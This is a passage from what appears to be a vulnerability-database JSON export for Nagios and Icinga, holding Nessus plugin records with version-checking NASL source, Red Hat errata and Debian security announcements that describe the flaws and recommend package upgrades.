the input variable counter twice when\nit encountered a long key value. This could cause the CGI to read past\nthe end of the list of CGI variables.\"\n );\n # http://sourceforge.net/p/nagios/nagioscore/ci/d97e03f32741a7d851826b03ed73ff4c9612a866/\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?9f8c1270\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=1046113\"\n );\n # https://vuxml.freebsd.org/freebsd/ba04a373-7d20-11e3-8992-00132034b086.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?d33d4ff0\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:nagios\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:freebsd:freebsd\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2013/12/20\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/01/14\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/01/15\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"FreeBSD Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/FreeBSD/release\", \"Host/FreeBSD/pkg_info\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"freebsd_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/FreeBSD/release\")) audit(AUDIT_OS_NOT, \"FreeBSD\");\nif (!get_kb_item(\"Host/FreeBSD/pkg_info\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (pkg_test(save_report:TRUE, pkg:\"nagios<3.5.1_3\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:pkg_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2021-01-07T11:54:27", "description": "Multiple vulnerabilities has been discovered and corrected in nagios :\n\nMultiple off-by-one errors in Nagios Core 3.5.1, 4.0.2, and earlier,\nand Icinga before 1.8.5, 1.9 before 1.9.4, and 1.10 before 1.10.2\nallow remote authenticated users to obtain sensitive information from\nprocess memory or cause a denial of service (crash) via a long string\nin the last key value in the variable list to the process_cgivars\nfunction in (1) avail.c, (2) cmd.c, (3) config.c, (4) extinfo.c, (5)\nhistogram.c, (6) notifications.c, (7) outages.c, (8) status.c, (9)\nstatusmap.c, (10) summary.c, and (11) trends.c in cgi/, which triggers\na heap-based buffer over-read (CVE-2013-7108).\n\nOff-by-one error in the process_cgivars function in\ncontrib/daemonchk.c in Nagios Core 3.5.1, 4.0.2, and earlier allows\nremote authenticated users to obtain sensitive information from\nprocess memory or cause a denial of service (crash) via a long string\nin the last key value in the variable list, which triggers a\nheap-based buffer over-read (CVE-2013-7205).\n\nThe updated packages have been patched to correct these issues.", "edition": 25, "published": "2014-01-19T00:00:00", "title": "Mandriva Linux Security Advisory : nagios (MDVSA-2014:004)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2013-7205", "CVE-2013-7108"], "modified": "2014-01-19T00:00:00", "cpe": ["cpe:/o:mandriva:business_server:1", "p-cpe:/a:mandriva:linux:nagios", "p-cpe:/a:mandriva:linux:nagios-devel", "p-cpe:/a:mandriva:linux:nagios-www"], "id": "MANDRIVA_MDVSA-2014-004.NASL", "href": "https://www.tenable.com/plugins/nessus/72019", "sourceData": "#%NASL_MIN_LEVEL 70300\n\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Mandriva Linux Security Advisory MDVSA-2014:004. \n# The text itself is copyright (C) Mandriva S.A.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(72019);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2013-7108\", \"CVE-2013-7205\");\n script_bugtraq_id(64363, 64489);\n script_xref(name:\"MDVSA\", value:\"2014:004\");\n\n script_name(english:\"Mandriva Linux Security Advisory : nagios (MDVSA-2014:004)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Mandriva Linux host is missing one or more security\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Multiple vulnerabilities has been discovered and corrected in nagios :\n\nMultiple off-by-one errors in Nagios Core 3.5.1, 4.0.2, and earlier,\nand Icinga before 1.8.5, 1.9 before 1.9.4, and 1.10 before 1.10.2\nallow remote authenticated users to obtain sensitive information from\nprocess memory or cause a denial of service (crash) via a long string\nin the last key value in the variable list to the process_cgivars\nfunction in (1) avail.c, (2) cmd.c, (3) config.c, (4) extinfo.c, (5)\nhistogram.c, (6) notifications.c, (7) outages.c, (8) status.c, (9)\nstatusmap.c, (10) summary.c, and (11) trends.c in cgi/, which triggers\na heap-based buffer over-read (CVE-2013-7108).\n\nOff-by-one error in the process_cgivars function in\ncontrib/daemonchk.c in Nagios Core 3.5.1, 4.0.2, and earlier allows\nremote authenticated users to obtain sensitive information from\nprocess memory or cause a denial of service (crash) via a long string\nin the last key value in the variable list, which triggers a\nheap-based buffer over-read (CVE-2013-7205).\n\nThe updated packages have been patched to correct these issues.\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected nagios, nagios-devel and / or nagios-www packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:nagios\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:nagios-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:nagios-www\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:mandriva:business_server:1\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/01/16\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/01/19\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Mandriva Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/Mandrake/release\", \"Host/Mandrake/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Mandrake/release\")) audit(AUDIT_OS_NOT, \"Mandriva / Mandake Linux\");\nif (!get_kb_item(\"Host/Mandrake/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^(amd64|i[3-6]86|x86_64)$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Mandriva / Mandrake Linux\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"nagios-3.4.4-4.1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"nagios-devel-3.4.4-4.1.mbs1\")) flag++;\nif (rpm_check(release:\"MDK-MBS1\", cpu:\"x86_64\", reference:\"nagios-www-3.4.4-4.1.mbs1\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 6.4, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:P"}}, {"lastseen": "2021-01-07T10:56:40", "description": "The remote host is affected by the vulnerability described in GLSA-201412-23\n(Nagios: Multiple vulnerabilities)\n\n Multiple vulnerabilities have been discovered in Nagios. Please review\n the CVE identifiers referenced below for details.\n \nImpact :\n\n A remote attacker may be able to execute arbitrary code, cause a Denial\n of Service condition, or obtain sensitive information.\n \nWorkaround :\n\n There is no known workaround at this time.", "edition": 21, "published": "2014-12-15T00:00:00", "title": "GLSA-201412-23 : Nagios: Multiple vulnerabilities", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2013-7205", "CVE-2012-6096", "CVE-2013-7108"], "modified": "2014-12-15T00:00:00", "cpe": ["cpe:/o:gentoo:linux", "p-cpe:/a:gentoo:linux:nagios-core"], "id": "GENTOO_GLSA-201412-23.NASL", "href": "https://www.tenable.com/plugins/nessus/79976", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Gentoo Linux Security Advisory GLSA 201412-23.\n#\n# The advisory text is Copyright (C) 2001-2015 Gentoo Foundation, Inc.\n# and licensed under the Creative Commons - Attribution / Share Alike \n# license. See http://creativecommons.org/licenses/by-sa/3.0/\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(79976);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2012-6096\", \"CVE-2013-7108\", \"CVE-2013-7205\");\n script_bugtraq_id(56879, 64363, 64489);\n script_xref(name:\"GLSA\", value:\"201412-23\");\n\n script_name(english:\"GLSA-201412-23 : Nagios: Multiple vulnerabilities\");\n script_summary(english:\"Checks for updated package(s) in /var/db/pkg\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Gentoo host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"The remote host is affected by the vulnerability described in GLSA-201412-23\n(Nagios: Multiple vulnerabilities)\n\n Multiple vulnerabilities have been discovered in Nagios. Please review\n the CVE identifiers referenced below for details.\n \nImpact :\n\n A remote attacker may be able to execute arbitrary code, cause a Denial\n of Service condition, or obtain sensitive information.\n \nWorkaround :\n\n There is no known workaround at this time.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security.gentoo.org/glsa/201412-23\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"All Nagios users should upgrade to the latest version:\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=net-analyzer/nagios-core-3.5.1'\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:ND\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Nagios3 history.cgi Host Command Execution');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:gentoo:linux:nagios-core\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:gentoo:linux\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/12/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/12/15\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Gentoo Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Gentoo/release\", \"Host/Gentoo/qpkg-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"qpkg.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Gentoo/release\")) audit(AUDIT_OS_NOT, \"Gentoo\");\nif (!get_kb_item(\"Host/Gentoo/qpkg-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (qpkg_check(package:\"net-analyzer/nagios-core\", unaffected:make_list(\"ge 3.5.1\"), vulnerable:make_list(\"lt 3.5.1\"))) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = qpkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"Nagios\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-12T09:48:38", "description": "Multiple security issues have been found in the Icinga host and\nnetwork monitoring system (buffer overflows, cross-site request\nforgery, off-by ones) which could result in the execution of arbitrary\ncode, denial of service or session hijacking.", "edition": 16, "published": "2014-06-12T00:00:00", "title": "Debian DSA-2956-1 : icinga - security update", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2013-7106", "CVE-2013-7107", "CVE-2014-1878", "CVE-2014-2386", "CVE-2013-7108"], "modified": "2014-06-12T00:00:00", "cpe": ["cpe:/o:debian:debian_linux:7.0", "p-cpe:/a:debian:debian_linux:icinga"], "id": "DEBIAN_DSA-2956.NASL", "href": "https://www.tenable.com/plugins/nessus/74477", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-2956. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(74477);\n script_version(\"1.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2013-7106\", \"CVE-2013-7107\", \"CVE-2013-7108\", \"CVE-2014-1878\", \"CVE-2014-2386\");\n script_bugtraq_id(64363, 64370, 64374, 65605, 66212);\n script_xref(name:\"DSA\", value:\"2956\");\n\n script_name(english:\"Debian DSA-2956-1 : icinga - security update\");\n script_summary(english:\"Checks dpkg output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Multiple security issues have been found in the Icinga host and\nnetwork monitoring system (buffer overflows, cross-site request\nforgery, off-by ones) which could result in the execution of arbitrary\ncode, denial of service or session hijacking.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/wheezy/icinga\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.debian.org/security/2014/dsa-2956\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Upgrade the icinga packages.\n\nFor the stable distribution (wheezy), these problems have been fixed\nin version 1.7.1-7.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:icinga\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:7.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2014/06/11\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2014/06/12\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"7.0\", prefix:\"icinga\", reference:\"1.7.1-7\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"icinga-cgi\", reference:\"1.7.1-7\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"icinga-common\", reference:\"1.7.1-7\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"icinga-core\", reference:\"1.7.1-7\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"icinga-dbg\", reference:\"1.7.1-7\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"icinga-doc\", reference:\"1.7.1-7\")) flag++;\nif (deb_check(release:\"7.0\", prefix:\"icinga-idoutils\", reference:\"1.7.1-7\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "redhat": [{"lastseen": "2019-08-13T18:44:51", "bulletinFamily": "unix", "cvelist": ["CVE-2008-7313", "CVE-2014-5008", "CVE-2014-5009", "CVE-2016-9565", "CVE-2016-9566"], "description": "Nagios is a program that monitors hosts and services on your network, and has the ability to send email or page alerts when a problem arises or is resolved. Nagios is written in C and designed to run under Linux (and some other *NIX variants) as a background process, intermittently running checks on various services that you specify. The actual service checks are performed by separate \"plugin\" programs which return the status of the checks to Nagios. Nagios plugins are available at http://sourceforge.net/projects/nagiosplug. This package provides the core program, web interface, and documentation files for Nagios. Development files are built as a separate package.\n\nSecurity Fix(es):\n\n* Various command-execution flaws were found in the Snoopy library included with Nagios. These flaws allowed remote attackers to execute arbitrary commands by manipulating Nagios HTTP headers. (CVE-2008-7313, CVE-2014-5008, CVE-2014-5009)\n\n* It was found that an attacker who could control the content of an RSS feed could execute code remotely using the Nagios web interface. This flaw could be used to gain access to the remote system and in some scenarios control over the system. (CVE-2016-9565)\n\n* A privileges flaw was found in Nagios where log files were unsafely handled. An attacker who could control Nagios logging configuration ('nagios' user/group) could exploit the flaw to elevate their access to that of a privileged user. (CVE-2016-9566)\n\nRed Hat would like to thank Dawid Golunski for reporting CVE-2016-9565 and CVE-2016-9566.", "modified": "2018-03-19T16:26:43", "published": "2017-01-31T10:22:48", "id": "RHSA-2017:0211", "href": "https://access.redhat.com/errata/RHSA-2017:0211", "type": "redhat", "title": "(RHSA-2017:0211) Important: nagios security update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-08-13T18:47:05", "bulletinFamily": "unix", "cvelist": ["CVE-2008-7313", "CVE-2014-5008", "CVE-2014-5009", "CVE-2016-9565", "CVE-2016-9566"], "description": "Nagios is a program that monitors hosts and services on your network, and has the ability to send email or page alerts when a problem arises or is resolved. Nagios is written in C and designed to run under Linux (and some other *NIX variants) as a background process, intermittently running checks on various services that you specify. The actual service checks are performed by separate \"plugin\" programs which return the status of the checks to Nagios. Nagios plugins are available at http://sourceforge.net/projects/nagiosplug. This package provides the core program, web interface, and documentation files for Nagios. Development files are built as a separate package.\n\nSecurity Fix(es):\n\n* Various command-execution flaws were found in the Snoopy library included with Nagios. These flaws allowed remote attackers to execute arbitrary commands by manipulating Nagios HTTP headers. (CVE-2008-7313, CVE-2014-5008, CVE-2014-5009)\n\n* It was found that an attacker who could control the content of an RSS feed could execute code remotely using the Nagios web interface. This flaw could be used to gain access to the remote system and in some scenarios control over the system. (CVE-2016-9565)\n\n* A privileges flaw was found in Nagios where log files were unsafely handled. An attacker who could control Nagios logging configuration ('nagios' user/group) could exploit the flaw to elevate their access to that of a privileged user. (CVE-2016-9566)\n\nRed Hat would like to thank Dawid Golunski for reporting CVE-2016-9565 and CVE-2016-9566.", "modified": "2018-03-19T16:27:00", "published": "2017-01-31T10:22:53", "id": "RHSA-2017:0213", "href": "https://access.redhat.com/errata/RHSA-2017:0213", "type": "redhat", "title": "(RHSA-2017:0213) Important: nagios security update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-08-13T18:44:40", "bulletinFamily": "unix", "cvelist": ["CVE-2008-7313", "CVE-2014-5008", "CVE-2014-5009", "CVE-2016-9565", "CVE-2016-9566"], "description": "Nagios is a program that monitors hosts and services on your network, and has the ability to send email or page alerts when a problem arises or is resolved. Nagios is written in C and designed to run under Linux (and some other *NIX variants) as a background process, intermittently running checks on various services that you specify. The actual service checks are performed by separate \"plugin\" programs which return the status of the checks to Nagios. Nagios plugins are available at http://sourceforge.net/projects/nagiosplug. This package provides the core program, web interface, and documentation files for Nagios. Development files are built as a separate package.\n\nSecurity Fix(es):\n\n* Various command-execution flaws were found in the Snoopy library included with Nagios. These flaws allowed remote attackers to execute arbitrary commands by manipulating Nagios HTTP headers. (CVE-2008-7313, CVE-2014-5008, CVE-2014-5009)\n\n* It was found that an attacker who could control the content of an RSS feed could execute code remotely using the Nagios web interface. This flaw could be used to gain access to the remote system and in some scenarios control over the system. (CVE-2016-9565)\n\n* A privileges flaw was found in Nagios where log files were unsafely handled. An attacker who could control Nagios logging configuration ('nagios' user/group) could exploit the flaw to elevate their access to that of a privileged user. (CVE-2016-9566)\n\nRed Hat would like to thank Dawid Golunski for reporting CVE-2016-9565 and CVE-2016-9566.", "modified": "2018-03-19T16:27:14", "published": "2017-01-31T10:22:54", "id": "RHSA-2017:0214", "href": "https://access.redhat.com/errata/RHSA-2017:0214", "type": "redhat", "title": "(RHSA-2017:0214) Important: nagios security update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-08-13T18:45:32", "bulletinFamily": "unix", "cvelist": ["CVE-2008-7313", "CVE-2014-5008", "CVE-2014-5009", "CVE-2016-9565", "CVE-2016-9566"], "description": "Nagios is a program that monitors hosts and services on your network, and has the ability to send email or page alerts when a problem arises or is resolved. Nagios is written in C and designed to run under Linux (and some other *NIX variants) as a background process, intermittently running checks on various services that you specify. The actual service checks are performed by separate \"plugin\" programs which return the status of the checks to Nagios. Nagios plugins are available at http://sourceforge.net/projects/nagiosplug. This package provides the core program, web interface, and documentation files for Nagios. Development files are built as a separate package.\n\nSecurity Fix(es):\n\n* Various command-execution flaws were found in the Snoopy library included with Nagios. These flaws allowed remote attackers to execute arbitrary commands by manipulating Nagios HTTP headers. (CVE-2008-7313, CVE-2014-5008, CVE-2014-5009)\n\n* It was found that an attacker who could control the content of an RSS feed could execute code remotely using the Nagios web interface. This flaw could be used to gain access to the remote system and in some scenarios control over the system. (CVE-2016-9565)\n\n* A privileges flaw was found in Nagios where log files were unsafely handled. An attacker who could control Nagios logging configuration ('nagios' user/group) could exploit the flaw to elevate their access to that of a privileged user. (CVE-2016-9566)\n\nRed Hat would like to thank Dawid Golunski for reporting CVE-2016-9565 and CVE-2016-9566.", "modified": "2018-06-07T02:47:59", "published": "2017-01-31T10:22:48", "id": "RHSA-2017:0212", "href": "https://access.redhat.com/errata/RHSA-2017:0212", "type": "redhat", "title": "(RHSA-2017:0212) Important: nagios security update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-08-13T18:47:12", "bulletinFamily": "unix", "cvelist": ["CVE-2016-9565", "CVE-2016-9566"], "description": "Nagios is a program that monitors hosts and services on your network, and has the ability to send email or page alerts when a problem arises or is resolved.\n\nSecurity Fix(es):\n\n* It was found that an attacker who could control the content of an RSS feed could execute code remotely using the Nagios web interface. This flaw could be used to gain access to the remote system and in some scenarios control over the system. (CVE-2016-9565)\n\n* A privilege escalation flaw was found in the way Nagios handled log files. An attacker able to control the Nagios logging configuration (the 'nagios' user/group) could use this flaw to elevate their privileges to root. (CVE-2016-9566)", "modified": "2018-06-13T01:28:29", "published": "2017-02-07T16:08:27", "id": "RHSA-2017:0259", "href": "https://access.redhat.com/errata/RHSA-2017:0259", "type": "redhat", "title": "(RHSA-2017:0259) Important: nagios security update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2019-08-13T18:44:38", "bulletinFamily": "unix", "cvelist": ["CVE-2016-9565", "CVE-2016-9566"], "description": "Nagios is a program that monitors hosts and services on your network, and has the ability to send email or page alerts when a problem arises or is resolved.\n\nSecurity Fix(es):\n\n* It was found that an attacker who could control the content of an RSS feed could execute code remotely using the Nagios web interface. This flaw could be used to gain access to the remote system and in some scenarios control over the system. (CVE-2016-9565)\n\n* A privilege escalation flaw was found in the way Nagios handled log files. An attacker able to control the Nagios logging configuration (the 'nagios' user/group) could use this flaw to elevate their privileges to root. (CVE-2016-9566)", "modified": "2018-03-19T16:14:19", "published": "2017-02-07T16:08:21", "id": "RHSA-2017:0258", "href": "https://access.redhat.com/errata/RHSA-2017:0258", "type": "redhat", "title": "(RHSA-2017:0258) Important: nagios security update", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "debian": [{"lastseen": "2020-08-12T00:51:16", "bulletinFamily": "unix", "cvelist": ["CVE-2016-9566", "CVE-2018-18245", "CVE-2014-1878", "CVE-2013-7205", "CVE-2013-7108"], "description": "Package : nagios3\nVersion : 3.5.1.dfsg-2+deb8u1\nCVE ID : CVE-2013-7108 CVE-2013-7205 CVE-2014-1878\n CVE-2016-9566 CVE-2018-18245\nDebian Bug : 771466 823721 917138\n\nSeveral issues were corrected in nagios3, a monitoring and management\nsystem for hosts, services and networks.\n\nCVE-2018-18245\n\n Maximilian Boehner of usd AG found a cross-site scripting (XSS)\n vulnerability in Nagios Core. This vulnerability allows attackers\n to place malicious JavaScript code into the web frontend through\n manipulation of plugin output. In order to do this the attacker\n needs to be able to manipulate the output returned by nagios\n checks, e.g. by replacing a plugin on one of the monitored\n endpoints. Execution of the payload then requires that an\n authenticated user creates an alert summary report which contains\n the corresponding output.\n\nCVE-2016-9566\n\n It was discovered that local users with access to an account in\n the nagios group are able to gain root privileges via a symlink\n attack on the debug log file.\n\nCVE-2014-1878\n\n An issue was corrected that allowed remote attackers to cause a\n stack-based buffer overflow and subsequently a denial of service\n (segmentation fault) via a long message to cmd.cgi.\n\nCVE-2013-7205 | CVE-2013-7108\n\n A flaw was corrected in Nagios that could be exploited to cause a\n denial-of-service. This vulnerability is induced due to an\n off-by-one error within the process_cgivars() function, which can\n be exploited to cause an out-of-bounds read by sending a\n specially-crafted key value to the Nagios web UI.\n\n\nFor Debian 8 "Jessie", these problems have been fixed in version\n3.5.1.dfsg-2+deb8u1.\n\nWe recommend that you upgrade your nagios3 packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\n", "edition": 10, "modified": "2018-12-24T18:11:14", "published": "2018-12-24T18:11:14", "id": "DEBIAN:DLA-1615-1:D4F7C", "href": "https://lists.debian.org/debian-lts-announce/2018/debian-lts-announce-201812/msg00014.html", "title": "[SECURITY] [DLA 1615-1] nagios3 security update", "type": "debian", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-08-12T00:58:18", "bulletinFamily": "unix", "cvelist": ["CVE-2008-7313", "CVE-2014-5008"], "description": "Package : libphp-snoopy\nVersion : 2.0.0-1~deb6u1\nCVE ID : CVE-2008-7313 CVE-2014-5008\nDebian Bug : 778634\n\nIt was discovered that missing input sanitizing in Snoopy, a PHP class that\nsimulates a web browser may result in the execution of arbitrary\ncommands.\n\nFor the oldoldstable distribution (squeeze-lts), this problem has been fixed\nin version 2.0.0-1~deb6u1.\n\nWe recommend that you upgrade your libphp-snoopy packages.\n", "edition": 6, "modified": "2015-11-30T22:44:16", "published": "2015-11-30T22:44:16", "id": "DEBIAN:DLA-357-1:D7359", "href": "https://lists.debian.org/debian-lts-announce/2015/debian-lts-announce-201511/msg00018.html", "title": "[SECURITY] [DLA 357-1] libphp-snoopy security update", 